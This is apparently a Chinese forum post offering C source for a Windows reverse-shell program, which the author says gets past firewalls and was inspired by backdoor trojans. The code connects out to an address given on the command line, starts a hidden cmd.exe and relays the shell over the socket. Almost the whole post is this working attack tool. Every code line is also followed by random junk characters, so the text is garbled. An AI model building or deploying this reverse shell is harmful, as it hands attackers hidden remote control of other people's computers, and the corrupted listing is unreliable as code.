Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 PuJ3#H T  
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/* ============================== -Rpra0o. C  
Rebound port in Windows NT <[[yV  
By wind,2006/7 yUnV%@.  
===============================*/ 7W)W9=&BT  
#include dx@dnWRT,  
#include {5Bj*m5  
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#pragma comment(lib,"wsock32.lib") @:?[R&`  
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void OutputShell(); }&vD(hX  
SOCKET sClient; yP{ 52%|+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Aj}sh{  
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void main(int argc,char **argv) *:n7B\.  
{ -FJ3;fP
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WSADATA stWsaData; 8m{e,o2.  
int nRet; ;}E}N:A  
SOCKADDR_IN stSaiClient,stSaiServer; NF
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if(argc != 3) r &.~ {  
{ JN/=x2n.  
printf("Useage:\n\rRebound DestIP DestPort\n"); UfX~GC;B  
return; zcP=+Y)YA  
} c]uieig0~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ye.6tlW  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @%,~5{Ir  
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stSaiClient.sin_family = AF_INET; I,h
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stSaiClient.sin_port = htons(0); K%dQ;C*?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ],weqs  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <G}Lc  
{ RvAgv[8  
printf("Bind Socket Failed!\n"); or*{P=m+R  
return; Rt?CE jy  
} Pg8.RvmQ  
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stSaiServer.sin_family = AF_INET; $bG*f*w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f0H.$UAL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d}Pfj
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7Vy_Cec1  
{ u1 Q;M`+>  
printf("Connect Error!"); +ALrHFG  
return; @/:4beh  
} 4NID:<  
OutputShell(); %4nf(|8n  
} &#e;`(*  
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void OutputShell() '6M
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{ 486\a  
char szBuff[1024]; X\m\yv}}  
SECURITY_ATTRIBUTES stSecurityAttributes; ?(gha  
OSVERSIONINFO stOsversionInfo; T#qf&Q Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,Wd=!if  
STARTUPINFO stStartupInfo; @
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char *szShell; *F1TZ_GS  
PROCESS_INFORMATION stProcessInformation; \}Am]Y/ w  
unsigned long lBytesRead; OWibmX
 
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _]zX W  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0;
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stSecurityAttributes.lpSecurityDescriptor = 0; h}a}HabA  
stSecurityAttributes.bInheritHandle = TRUE; R0qZxoo  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SEM?vQ 0"}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X|a{Z*y;r*  

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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6B8!}6Ojc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .T3N"}7[  
stStartupInfo.wShowWindow = SW_HIDE; )vO"S  
stStartupInfo.hStdInput = hReadPipe; cjN)3L{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F\r"Y)|b=  
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GetVersionEx(&stOsversionInfo); #ELeW3 S}  
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switch(stOsversionInfo.dwPlatformId) B2kZ_4rB  
{ DujVV(+I  
case 1: LG:k}z/T  
szShell = "command.com"; mI7lv;oN<5  
break; 6]iU-k0b  
default: d0)]^4HT|y  
szShell = "cmd.exe"; ?+.mP]d_  
break; )!-gT  
} ^0v3NG6  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @.7/lRr@bp  
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send(sClient,szMsg,77,0); _G'ki.[S7  
while(1) 82@^vX  
{ QwX81*nx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zy+ERaF|]  
if(lBytesRead) EK4%4<"  
{ 5@5*}[M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _5rKuL  
send(sClient,szBuff,lBytesRead,0); c~tl0XU1  
} ZRf9'UwS  
else u~OlJ1V  
{ &lLk[/b  
lBytesRead=recv(sClient,szBuff,1024,0); ,;t:x|{%  
if(lBytesRead<=0) break; r{.pXf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j;.P  
} B}TY+@  
} |aLK_]!  
ow \EL  
return; a"-uJn  
}